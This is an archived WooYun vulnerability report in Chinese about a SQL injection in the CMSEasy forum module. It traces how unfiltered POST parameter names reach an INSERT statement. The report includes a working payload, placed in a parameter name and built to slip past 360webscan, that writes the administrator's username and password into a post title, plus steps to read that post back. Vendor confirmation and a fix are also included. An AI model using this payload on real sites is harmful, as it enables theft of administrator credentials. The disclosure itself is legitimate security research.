当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067521

漏洞标题:cmseasy 最新版SQL注入一枚(直接出数据无视360webscan)

相关厂商:cmseasy

漏洞作者: phith0n

提交时间:2014-07-06 01:15

修复时间:2014-10-04 01:16

公开时间:2014-10-04 01:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-06: 细节已通知厂商并且等待厂商处理中
2014-07-07: 厂商已经确认,细节仅向厂商公开
2014-07-10: 细节向第三方安全合作伙伴开放
2014-08-31: 细节向核心白帽子及相关领域专家公开
2014-09-10: 细节向普通白帽子公开
2014-09-20: 细节向实习白帽子公开
2014-10-04: 细节向公众公开

简要描述:

真的不是针对,厂家不要介意,赶紧确认我另外两个吧,感谢!
无视360webscan。
版本:20140605

详细说明:

漏洞与 WooYun: CmsEasy最新 V5.5-UTF8 正式版多处漏洞打包 重复。
注入函数在/bbs/add-archive.php,

if(isset($_POST['submit'])){
if(strtolower(trim($_POST['verify'])) != strtolower($_SESSION['verify'])){
//action_public::turnPage('index.php','验证码输入错误!');
}
$archive = db_bbs_archive::getInstance();

unset($_POST['submit']);
unset($_POST['verify']);
$_POST['username'] = $_COOKIE['login_username'];
$_POST['userid'] = $admin->userid;
$_POST['ip'] = $_SERVER['REMOTE_ADDR'];
$_POST['addtime'] = mktime();
if($id = $archive->inserData($_POST)){
action_public::turnPage('archive-display.php?aid='.$id,'文章添加成功');
}else{
action_public::turnPage('index.php','添加失败,请联系我们!');
}
}


关注这句话$archive->inserData($_POST),直接把$_POST放入了inserData函数,我们进去看看:

public function inserData($data){
$r = $this->odb->insert($this->tblName,$data);
if($r)
return $this->odb->getInsertId();
else
return false;
}


继续跟进:

public function insert($table, $data)
{
$sql = $this->getInsertString($table, $data);
return $this->execSql($sql);
}


继续跟进:

public function getInsertString($table, $data)
{
$n_str = '';
$v_str = '';
$table = $this->filterString($table);
foreach ($data as $k => $v)
{
$n_str .= $this->filterString($k).',';
$v_str .= "'".$this->filterString($v)."',";
}
$n_str = preg_replace( "/,$/", "", $n_str );
$v_str = preg_replace( "/,$/", "", $v_str );
$str = 'INSERT INTO '.$table.' ('.$n_str.') VALUES('.$v_str.')';
return $str;
}


这个函数实际上就是一个insert语句。其中调用filterString对数据进行过滤。但只是加转义单引号而已,而注入语句中的key并没有过滤。
POST的时候,将注入语句放在KEY的位置,就能注入了。
详见漏洞证明。

漏洞证明:

到/bbs,发表帖子,抓包。
增加一个POST参数,参数名是:

username)/**/values((select/**/concat(username,0x23,password)/**/from/**/cmseasy_user/**/limit/**/0,1),2,3,4,5,6)#


值随意。效果图如下:

07.jpg


发送即可。然后数据库中可以看到一篇帖子的title被注入成管理员密码:

08.jpg


它的aid是8,那么我们只要访问http://localhost/easy/bbs/archive-display.php?aid=8即可看到结果:

09.jpg


我们不知道aid是多少的时候,遍历一下就行了。

修复方案:

value要过滤,key也要过滤

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-07 09:49

厂商回复:

感谢,立即修正

最新状态:

暂无